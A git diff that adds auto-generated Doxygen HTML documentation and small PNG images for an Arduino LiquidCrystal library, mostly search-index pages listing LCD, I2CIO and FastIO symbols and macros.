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 Kb6Mw<&;$VTdq1fF literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/nav_h.png b/libraries/LiquidCrystal/docs/html/nav_h.png new file mode 100644 index 0000000000000000000000000000000000000000..01f5fa6a596e36bd12c2d6ceff1b0169fda7e699 GIT binary patch literal 97 zcmeAS@N?(olHy`uVBq!ia0vp^j6lr8!2~3AUOE6t1`SUa$B+ufw|6&kG8phMJMJ~w va4>Y+bZ&9QY?(VEUPY_cGd9nQ`um^ZSUyYpAAuKhL7F^W{an^LB{Ts5DmojT literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/open.png b/libraries/LiquidCrystal/docs/html/open.png new file mode 100644 index 0000000000000000000000000000000000000000..7b35d2c2c389743089632fe24c3104f2173d97af GIT binary patch literal 118 zcmeAS@N?(olHy`uVBq!ia0vp^oFL4>1|%O$WD@{Vww^AIAr*{o=Nbw!DDW^(zOibV zl!F8B0?t?i!vld4k#$~0_AX3zElaokn + + + + + + +
+
Loading...
+
+
+ _cols + LCD +
+
+
+
+ _displaycontrol + LCD +
+
+
+
+ _displayfunction + LCD +
+
+
+
+ _displaymode + LCD +
+
+
+
+ _I2CIO_VERSION + I2CIO.h +
+
+
+
+ _numlines + LCD +
+
+
+
+ _polarity + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_61.html b/libraries/LiquidCrystal/docs/html/search/all_61.html new file mode 100644 index 0000000..77a85bb --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_61.html @@ -0,0 +1,38 @@ + + + + + + + +
+
Loading...
+
+
+ ATOMIC_BLOCK + FastIO.h +
+
+
+
+ ATOMIC_RESTORESTATE + FastIO.h +
+
+
+
+ autoscroll + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_62.html b/libraries/LiquidCrystal/docs/html/search/all_62.html new file mode 100644 index 0000000..47c4abb --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_62.html @@ -0,0 +1,54 @@ + + + + + + + +
+
Loading...
+
+
+ backlight + LCD +
+
+
+
+ BACKLIGHT_OFF + LCD.h +
+
+
+
+ BACKLIGHT_ON + LCD.h +
+
+ + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_63.html b/libraries/LiquidCrystal/docs/html/search/all_63.html new file mode 100644 index 0000000..fd37373 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_63.html @@ -0,0 +1,44 @@ + + + + + + + +
+
Loading...
+
+
+ clear + LCD +
+
+
+
+ COMMAND + LCD.h +
+
+
+
+ createChar + LCD +
+
+
+
+ cursor + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_64.html b/libraries/LiquidCrystal/docs/html/search/all_64.html new file mode 100644 index 0000000..e66c526 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_64.html @@ -0,0 +1,80 @@ + + + + + + + +
+
Loading...
+ + + + +
+
+ DATA + LCD.h +
+
+
+
+ digitalRead + I2CIO +
+
+
+
+ digitalWrite + I2CIO +
+
+
+
+ display + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_65.html b/libraries/LiquidCrystal/docs/html/search/all_65.html new file mode 100644 index 0000000..7ac4e79 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_65.html @@ -0,0 +1,35 @@ + + + + + + + +
+
Loading...
+ +
+
+ EXEC_TIME + LiquidCrystal.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_66.html b/libraries/LiquidCrystal/docs/html/search/all_66.html new file mode 100644 index 0000000..f615e95 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_66.html @@ -0,0 +1,156 @@ + + + + + + + +
+
Loading...
+
+ +
+
+
+ FastIO.h +
+
+
+
+ fio_bit + FastIO.h +
+
+ + +
+
+ fio_digitalWrite_HIGH + FastIO.h +
+
+
+
+ fio_digitalWrite_LOW + FastIO.h +
+
+
+
+ fio_digitalWrite_SWITCH + FastIO.h +
+
+
+
+ fio_digitalWrite_SWITCHTO + FastIO.h +
+
+
+
+ FIO_FALLBACK + FastIO.h +
+
+ + + +
+
+ fio_register + FastIO.h +
+
+ + + +
+
+ FOUR_BITS + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_68.html b/libraries/LiquidCrystal/docs/html/search/all_68.html new file mode 100644 index 0000000..b476d6e --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_68.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ home + LCD +
+
+
+
+ HOME_CLEAR_EXEC + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_69.html b/libraries/LiquidCrystal/docs/html/search/all_69.html new file mode 100644 index 0000000..2bbba17 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_69.html @@ -0,0 +1,39 @@ + + + + + + + +
+
Loading...
+
+
+ I2CIO + +
+
+
+
+ I2CIO.cpp +
+
+
+
+ I2CIO.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_6c.html b/libraries/LiquidCrystal/docs/html/search/all_6c.html new file mode 100644 index 0000000..2b500de --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_6c.html @@ -0,0 +1,354 @@ + + + + + + + +
+
Loading...
+
+
+ LCD +
+ LCD + LCD::LCD() +
+
+
+
+
+ LCD.cpp +
+
+
+
+ LCD.h +
+
+
+
+ LCD_1LINE + LCD.h +
+
+
+
+ LCD_2LINE + LCD.h +
+
+
+
+ LCD_4BIT + LiquidCrystal.cpp +
+
+
+
+ LCD_4BITMODE + LCD.h +
+
+
+
+ LCD_5x10DOTS + LCD.h +
+
+
+
+ LCD_5x8DOTS + LCD.h +
+
+
+
+ LCD_8BIT + LiquidCrystal.cpp +
+
+
+
+ LCD_8BITMODE + LCD.h +
+
+ +
+
+ LCD_BLINKOFF + LCD.h +
+
+
+
+ LCD_BLINKON + LCD.h +
+
+
+
+ LCD_CLEARDISPLAY + LCD.h +
+
+
+
+ LCD_CURSORMOVE + LCD.h +
+
+
+
+ LCD_CURSOROFF + LCD.h +
+
+
+
+ LCD_CURSORON + LCD.h +
+
+
+
+ LCD_CURSORSHIFT + LCD.h +
+
+
+
+ LCD_DISPLAYCONTROL + LCD.h +
+
+
+
+ LCD_DISPLAYMOVE + LCD.h +
+
+
+
+ LCD_DISPLAYOFF + LCD.h +
+
+
+
+ LCD_DISPLAYON + LCD.h +
+
+
+
+ LCD_ENTRYLEFT + LCD.h +
+
+
+
+ LCD_ENTRYMODESET + LCD.h +
+
+
+
+ LCD_ENTRYRIGHT + LCD.h +
+
+
+ +
+
+ +
+
+
+ LCD_FUNCTIONSET + LCD.h +
+
+
+
+ LCD_MOVELEFT + LCD.h +
+
+
+
+ LCD_MOVERIGHT + LCD.h +
+
+ +
+
+ LCD_RETURNHOME + LCD.h +
+
+
+
+ LCD_SETCGRAMADDR + LCD.h +
+
+
+
+ LCD_SETDDRAMADDR + LCD.h +
+
+
+
+ leftToRight + LCD +
+
+ + + + + + + + + + + + + + + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_6d.html b/libraries/LiquidCrystal/docs/html/search/all_6d.html new file mode 100644 index 0000000..6a0ea3f --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_6d.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ moveCursorLeft + LCD +
+
+
+
+ moveCursorRight + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_6e.html b/libraries/LiquidCrystal/docs/html/search/all_6e.html new file mode 100644 index 0000000..f3e1f8b --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_6e.html @@ -0,0 +1,56 @@ + + + + + + + +
+
Loading...
+
+
+ NEGATIVE + LCD.h +
+
+
+
+ noAutoscroll + LCD +
+
+
+
+ noBacklight + LCD +
+
+ +
+
+ noCursor + LCD +
+
+
+
+ noDisplay + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_6f.html b/libraries/LiquidCrystal/docs/html/search/all_6f.html new file mode 100644 index 0000000..e5e659c --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_6f.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ off + LCD +
+
+
+
+ on + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_70.html b/libraries/LiquidCrystal/docs/html/search/all_70.html new file mode 100644 index 0000000..29b653f --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_70.html @@ -0,0 +1,38 @@ + + + + + + + +
+
Loading...
+
+
+ pinMode + I2CIO +
+
+
+
+ portMode + I2CIO +
+
+
+
+ POSITIVE + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_72.html b/libraries/LiquidCrystal/docs/html/search/all_72.html new file mode 100644 index 0000000..d2d6cc6 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_72.html @@ -0,0 +1,50 @@ + + + + + + + +
+
Loading...
+
+
+ read + I2CIO +
+
+
+
+ rightToLeft + LCD +
+
+ + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_73.html b/libraries/LiquidCrystal/docs/html/search/all_73.html new file mode 100644 index 0000000..94765a5 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_73.html @@ -0,0 +1,117 @@ + + + + + + + +
+
Loading...
+
+
+ scrollDisplayLeft + LCD +
+
+
+
+ scrollDisplayRight + LCD +
+
+ + + +
+
+ setCursor + LCD +
+
+
+
+ SKIP + FastIO.h +
+
+
+
+ SR2W_BL_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR2W_DATA_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR2W_EN_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR2W_RS_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR_EN_BIT + LiquidCrystal_SR.h +
+
+
+
+ SR_RS_BIT + LiquidCrystal_SR.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_74.html b/libraries/LiquidCrystal/docs/html/search/all_74.html new file mode 100644 index 0000000..61cec84 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_74.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ t_backlighPol + LCD.h +
+
+
+
+ TWO_WIRE + LiquidCrystal_SR.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/all_77.html b/libraries/LiquidCrystal/docs/html/search/all_77.html new file mode 100644 index 0000000..d81a974 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/all_77.html @@ -0,0 +1,35 @@ + + + + + + + +
+
Loading...
+
+
+ waitUsec + LCD.h +
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/classes_69.html b/libraries/LiquidCrystal/docs/html/search/classes_69.html new file mode 100644 index 0000000..48921d3 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/classes_69.html @@ -0,0 +1,25 @@ + + + + + + + +
+
Loading...
+
+
+ I2CIO +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/classes_6c.html b/libraries/LiquidCrystal/docs/html/search/classes_6c.html new file mode 100644 index 0000000..7054818 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/classes_6c.html @@ -0,0 +1,50 @@ + + + + + + + +
+
Loading...
+
+
+ LCD +
+
+
+ +
+ + + + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/close.png b/libraries/LiquidCrystal/docs/html/search/close.png new file mode 100644 index 0000000000000000000000000000000000000000..9342d3dfeea7b7c4ee610987e717804b5a42ceb9 GIT binary patch literal 273 zcmV+s0q*{ZP)4(RlMby96)VwnbG{ zbe&}^BDn7x>$<{ck4zAK-=nT;=hHG)kmplIF${xqm8db3oX6wT3bvp`TE@m0cg;b) zBuSL}5?N7O(iZLdAlz@)b)Rd~DnSsSX&P5qC`XwuFwcAYLC+d2>+1(8on;wpt8QIC X2MT$R4iQDd00000NkvXXu0mjfia~GN literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/search/defines_5f.html b/libraries/LiquidCrystal/docs/html/search/defines_5f.html new file mode 100644 index 0000000..8a9b6d1 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_5f.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ _I2CIO_VERSION + I2CIO.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_61.html b/libraries/LiquidCrystal/docs/html/search/defines_61.html new file mode 100644 index 0000000..64e6e11 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_61.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ ATOMIC_BLOCK + FastIO.h +
+
+
+
+ ATOMIC_RESTORESTATE + FastIO.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_62.html b/libraries/LiquidCrystal/docs/html/search/defines_62.html new file mode 100644 index 0000000..e65a734 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_62.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ BACKLIGHT_OFF + LCD.h +
+
+
+
+ BACKLIGHT_ON + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_63.html b/libraries/LiquidCrystal/docs/html/search/defines_63.html new file mode 100644 index 0000000..d74c25d --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_63.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ COMMAND + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_64.html b/libraries/LiquidCrystal/docs/html/search/defines_64.html new file mode 100644 index 0000000..f47ef02 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_64.html @@ -0,0 +1,62 @@ + + + + + + + +
+
Loading...
+ + + + +
+
+ DATA + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_65.html b/libraries/LiquidCrystal/docs/html/search/defines_65.html new file mode 100644 index 0000000..7ac4e79 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_65.html @@ -0,0 +1,35 @@ + + + + + + + +
+
Loading...
+ +
+
+ EXEC_TIME + LiquidCrystal.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_66.html b/libraries/LiquidCrystal/docs/html/search/defines_66.html new file mode 100644 index 0000000..6225879 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_66.html @@ -0,0 +1,56 @@ + + + + + + + +
+
Loading...
+
+
+ fio_digitalWrite_HIGH + FastIO.h +
+
+
+
+ fio_digitalWrite_LOW + FastIO.h +
+
+
+
+ fio_digitalWrite_SWITCH + FastIO.h +
+
+
+
+ fio_digitalWrite_SWITCHTO + FastIO.h +
+
+
+
+ FIO_FALLBACK + FastIO.h +
+
+
+
+ FOUR_BITS + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_68.html b/libraries/LiquidCrystal/docs/html/search/defines_68.html new file mode 100644 index 0000000..28e210e --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_68.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ HOME_CLEAR_EXEC + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_6c.html b/libraries/LiquidCrystal/docs/html/search/defines_6c.html new file mode 100644 index 0000000..525e0b4 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_6c.html @@ -0,0 +1,219 @@ + + + + + + + +
+
Loading...
+
+
+ LCD_1LINE + LCD.h +
+
+
+
+ LCD_2LINE + LCD.h +
+
+
+
+ LCD_4BIT + LiquidCrystal.cpp +
+
+
+
+ LCD_4BITMODE + LCD.h +
+
+
+
+ LCD_5x10DOTS + LCD.h +
+
+
+
+ LCD_5x8DOTS + LCD.h +
+
+
+
+ LCD_8BIT + LiquidCrystal.cpp +
+
+
+
+ LCD_8BITMODE + LCD.h +
+
+ +
+
+ LCD_BLINKOFF + LCD.h +
+
+
+
+ LCD_BLINKON + LCD.h +
+
+
+
+ LCD_CLEARDISPLAY + LCD.h +
+
+
+
+ LCD_CURSORMOVE + LCD.h +
+
+
+
+ LCD_CURSOROFF + LCD.h +
+
+
+
+ LCD_CURSORON + LCD.h +
+
+
+
+ LCD_CURSORSHIFT + LCD.h +
+
+
+
+ LCD_DISPLAYCONTROL + LCD.h +
+
+
+
+ LCD_DISPLAYMOVE + LCD.h +
+
+
+
+ LCD_DISPLAYOFF + LCD.h +
+
+
+
+ LCD_DISPLAYON + LCD.h +
+
+
+
+ LCD_ENTRYLEFT + LCD.h +
+
+
+
+ LCD_ENTRYMODESET + LCD.h +
+
+
+
+ LCD_ENTRYRIGHT + LCD.h +
+
+
+ +
+
+ +
+
+
+ LCD_FUNCTIONSET + LCD.h +
+
+
+
+ LCD_MOVELEFT + LCD.h +
+
+
+
+ LCD_MOVERIGHT + LCD.h +
+
+ +
+
+ LCD_RETURNHOME + LCD.h +
+
+
+
+ LCD_SETCGRAMADDR + LCD.h +
+
+
+
+ LCD_SETDDRAMADDR + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_72.html b/libraries/LiquidCrystal/docs/html/search/defines_72.html new file mode 100644 index 0000000..091148d --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_72.html @@ -0,0 +1,38 @@ + + + + + + + +
+
Loading...
+ + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_73.html b/libraries/LiquidCrystal/docs/html/search/defines_73.html new file mode 100644 index 0000000..d384df7 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_73.html @@ -0,0 +1,62 @@ + + + + + + + +
+
Loading...
+
+
+ SKIP + FastIO.h +
+
+
+
+ SR2W_BL_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR2W_DATA_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR2W_EN_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR2W_RS_MASK + LiquidCrystal_SR2W.h +
+
+
+
+ SR_EN_BIT + LiquidCrystal_SR.h +
+
+
+
+ SR_RS_BIT + LiquidCrystal_SR.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/defines_74.html b/libraries/LiquidCrystal/docs/html/search/defines_74.html new file mode 100644 index 0000000..ba27d7f --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/defines_74.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ TWO_WIRE + LiquidCrystal_SR.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/enums_74.html b/libraries/LiquidCrystal/docs/html/search/enums_74.html new file mode 100644 index 0000000..2c24947 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/enums_74.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ t_backlighPol + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/enumvalues_6e.html b/libraries/LiquidCrystal/docs/html/search/enumvalues_6e.html new file mode 100644 index 0000000..13de3f4 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/enumvalues_6e.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ NEGATIVE + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/enumvalues_70.html b/libraries/LiquidCrystal/docs/html/search/enumvalues_70.html new file mode 100644 index 0000000..ccfeb29 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/enumvalues_70.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ POSITIVE + LCD.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/files_66.html b/libraries/LiquidCrystal/docs/html/search/files_66.html new file mode 100644 index 0000000..2eeecab --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/files_66.html @@ -0,0 +1,30 @@ + + + + + + + +
+
Loading...
+
+ +
+
+
+ FastIO.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/files_69.html b/libraries/LiquidCrystal/docs/html/search/files_69.html new file mode 100644 index 0000000..6d0e429 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/files_69.html @@ -0,0 +1,30 @@ + + + + + + + +
+
Loading...
+
+
+ I2CIO.cpp +
+
+
+
+ I2CIO.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/files_6c.html b/libraries/LiquidCrystal/docs/html/search/files_6c.html new file mode 100644 index 0000000..84551ce --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/files_6c.html @@ -0,0 +1,80 @@ + + + + + + + +
+
Loading...
+
+
+ LCD.cpp +
+
+
+
+ LCD.h +
+
+ + + + + + + + + + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_61.html b/libraries/LiquidCrystal/docs/html/search/functions_61.html new file mode 100644 index 0000000..7fb674c --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_61.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ autoscroll + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_62.html b/libraries/LiquidCrystal/docs/html/search/functions_62.html new file mode 100644 index 0000000..b75e8f6 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_62.html @@ -0,0 +1,42 @@ + + + + + + + +
+
Loading...
+
+
+ backlight + LCD +
+
+ + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_63.html b/libraries/LiquidCrystal/docs/html/search/functions_63.html new file mode 100644 index 0000000..118cc32 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_63.html @@ -0,0 +1,38 @@ + + + + + + + +
+
Loading...
+
+
+ clear + LCD +
+
+
+
+ createChar + LCD +
+
+
+
+ cursor + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_64.html b/libraries/LiquidCrystal/docs/html/search/functions_64.html new file mode 100644 index 0000000..ba77ba3 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_64.html @@ -0,0 +1,38 @@ + + + + + + + +
+
Loading...
+
+
+ digitalRead + I2CIO +
+
+
+
+ digitalWrite + I2CIO +
+
+
+
+ display + LCD +
+
+
Searching...
+
No Matches
+ +
